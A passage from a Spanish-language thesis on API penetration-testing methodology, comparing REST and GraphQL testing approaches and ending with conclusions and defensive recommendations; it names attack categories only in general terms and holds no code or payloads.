entre intervencion humana y automatizacioén controlada. Este tipo de pruebas facilito la
manipulacion avanzada de parametros, la explotacion de debilidades complejas y la
validacion de autorizaciones insuficientes, tales como IDOR o escalaciones de privilegios. Su
aporte a la metodologia fue significativo, ya que permitio profundizar en escenarios que
requieren repeticion, variacion y analisis dinamico, aumentando la eficiencia y profundidad

de las pruebas.
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4.3.3 Revisiones Automatizadas

Proporcionaron una evaluacion amplia, sistematica y consistente del entorno,
identificando patrones conocidos de vulnerabilidad, configuraciones inseguras y endpoints
expuestos. Estas pruebas complementaron la metodologia al garantizar cobertura total de los
vectores comunes, reduciendo el riesgo de omitir fallas basicas y acelerando el proceso de
descubrimiento inicial. Su aporte fue clave para fortalecer la metodologia con un enfoque
estructurado, escalable y orientado a la deteccion temprana.
4.4 Resultados Obtenidos

Se evidencia que es una metodologia bien estructurada no solo permite descubrir
vulnerabilidades, sino que transforma la forma en que evaluamos el riesgo en APIs modernas.
La capacidad de integrar distintos tipos de pruebas: manuales, semiautomaticas y
automatizadas demuestra que ningun enfoque aislado es suficiente para comprender la
complejidad real de REST y GraphQL, donde conviven fallas técnicas con debilidades de
disefio y logica de negocio. Ademas, los resultados resaltan la importancia de adoptar un
analisis orientado al riesgo, permitiendo priorizar remediaciones que realmente impactan la
seguridad del negocio. En definitiva, la aplicacion de esta metodologia confirma que un
proceso riguroso, iterativo y multidimensional es esencial para obtener una vision precisa del
nivel de exposicion y para fortalecer de manera efectiva la postura de seguridad
organizacional.
4.5 Comparacion de la Metodologia

Conforme a lo planteado en la metodologia, se puede concluir que este enfoque no
solo demuestra un nivel de profundidad superior a los marcos estdndar, sino que también
aporta una utilidad practica significativamente mayor al integrar validaciones especificas de
logica de negocio y evaluaciones contextualizadas del entorno propio de la API. Su

coherencia con estandares internacionales se evidencia al incorporar un analisis de riesgos
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basado en probabilidad e impacto, alineado con ISO 27005, lo que permite priorizar
vulnerabilidades de manera estratégica y orientada al negocio. Ademas, la combinacion de
pruebas manuales, automatizadas y semiautomatizadas amplia la capacidad de deteccion
frente a escenarios complejos, superando las limitaciones operativas de marcos de referencia
como NIST u OWASP API. En conjunto, este marco ofrece una aproximacion robusta,
adaptable y altamente efectiva para entornos reales, reforzando su relevancia y consistencia
frente a las mejores practicas globales.
4.6 Comparacion de las Pruebas de Pentesting Especificas en Api’s

Las APIs REST y GraphQL difieren principalmente en su arquitectura y en la forma
en que exponen los datos. Mientras REST se basa en multiples endpoints con respuestas
predefinidas, GraphQL utiliza un tnico punto de acceso donde el cliente especifica
exactamente qué informacion necesita. Esta diferencia hace que REST sea mas simple y
predecible, mientras que GraphQL ofrece mayor flexibilidad, pero también una superficie de
ataque mas dinamica y compleja.

A continuacion, se menciona las pruebas especificas que se pueden realizar en cada

una de las APIS

Tabla 9

Pruebas a las APi's
Pruebas especificas en API's Rest GraphQL
Descubrimiento de endpoints v X
Fuerza bruta por rutas o verbos HTTP v X
Manipulacién de path/query params v X
Introspeccion del esquema X v

Ataques de profundidad (Nested Queries
DoS)
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Batch requests / Aliases abuse X v
Field-level authorization testing X v
Mutaciones dindmicas con overrides X v

En las APIs REST las fallas suelen ser mas visibles y clasicas, porque dependen de
rutas, métodos y pardmetros que el atacante puede manipular facilmente. En cambio,
GraphQL funciona con un solo punto de entrada y un lenguaje muy flexible, lo que hace que
los errores sean menos obvios, pero mas profundos. Aqui los problemas no solo estan en “un
endpoint mal protegido”, sino en cdmo funciona la l6gica interna de cada campo y permiso.
Por eso, asegurar GraphQL requiere entender bien como esta construido el modelo de datos y
no solo aplicar controles basicos.

Mientras REST permite controlar la seguridad aplicando validaciones por endpoint,
GraphQL delega gran parte del control a un esquema dindmico que puede ser explotado
mediante introspeccion, consultas anidadas y mutaciones complejas. Esto significa que, si la
organizacion no dispone de un gobierno solido sobre su modelo de datos, GraphQL puede
convertirse en un amplificador de riesgos al permitir un acceso profundo y estructurado a la
funcionalidad interna del sistema. Por ello, la seguridad en GraphQL no puede depender
unicamente de los mecanismos tradicionales, sino de una estrategia integral que abarque

control granular, limites operativos, y defensa contra abuso del lenguaje de consulta.
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Capitulo 5: Conclusiones y Recomendaciones
5.1. Conclusiones

La investigacion permitié demostrar que las metodologias tradicionales de pentesting
resultan insuficientes para evaluar de manera efectiva la seguridad de las APIs modernas,
particularmente aquellas basadas en RESTful y GraphQL. A lo largo del estudio se evidencio
que las APIs introducen riesgos propios derivados de su naturaleza programatica, su
exposicion publica y su rol como intermediarios criticos entre servicios y datos sensibles.

El disefio de la metodologia propuesta representd uno de los principales aportes del
trabajo, al integrar lineamientos del OWASP API Security Top 10 con técnicas manuales y
automatizadas adaptadas especificamente al contexto de APIs. A través de su aplicacion
practica se valid6 que este enfoque incrementa la capacidad de deteccion de vulnerabilidades
de alto impacto, tales como fallas en el control de acceso, exposicion excesiva de datos,
configuraciones inseguras, consumo descontrolado de recursos o mala gestion de endpoints.

Se concluye que la metodologia desarrollada es efectiva, replicable y adaptable a
diferentes escenarios de auditoria, tanto en entornos controlados como corporativos. Su
implementacion favorece la estandarizacion de los procesos de evaluacion, mejora la
visibilidad sobre las superficies de ataque reales y permite anticipar riesgos antes de que
puedan ser explotados por actores maliciosos. El estudio aporta asi un marco actualizado que
contribuye al fortalecimiento de la seguridad ofensiva y defensiva en el ecosistema de APIs

modernas.
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5.2. Recomendaciones

Para organizaciones

Integrar la seguridad de APIs como un componente estratégico dentro del programa
de ciberseguridad corporativo.

Mantener un inventario actualizado de APIs internas, externas, versiones y
dependencias para reducir la exposicion a endpoints abandonados o no documentados.

Implementar controles de autenticacion y autorizacion robustos, priorizando
estandares modernos como OAuth2, OpenlID Connect y validacion estricta de tokens.

Incluir pruebas automatizadas de seguridad en los pipelines CI/CD para detectar
vulnerabilidades desde las primeras fases del desarrollo.

Establecer politicas de hardening, monitoreo continuo y auditorias periddicas basadas
en OWASP API Security Top 10.

Para Desarrolladores y Equipos Técnicos

Adoptar el principio de minimo privilegio y controles de acceso granular en la
implementacion de endpoints.

Validar rigurosamente todos los parametros de entrada, evitar la sobreexposicion de
datos y limitar los campos retornados por defecto.

Aplicar versionamiento controlado y mantener documentacion técnica clara,
actualizada y accesible.

Incorporar pruebas unitarias y de integracion orientadas a seguridad, especialmente en
operaciones sensibles o criticas.

Emplear herramientas especificas para pruebas de APIs REST y GraphQL,

combinando analisis manual con escaneos automatizados.
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Futuras Lineas de Investigacion

Extender la metodologia para evaluar arquitecturas emergentes como gRPC,
WebSockets o APIs basadas en eventos.

Explorar el uso de inteligencia artificial y machine learning para la deteccion
dinamica de anomalias y ataques.

Realizar estudios comparativos entre distintas herramientas automaticas de pentesting
de APIs para medir su precision y cobertura.

Replicar la metodologia en entornos reales de organizaciones publicas y privadas para
medir su efectividad en escenarios productivos.

Investigar la integracion de principios de DevSecOps en el disefo, desarrollo y

pruebas de seguridad de 4PIs desde su concepcion.
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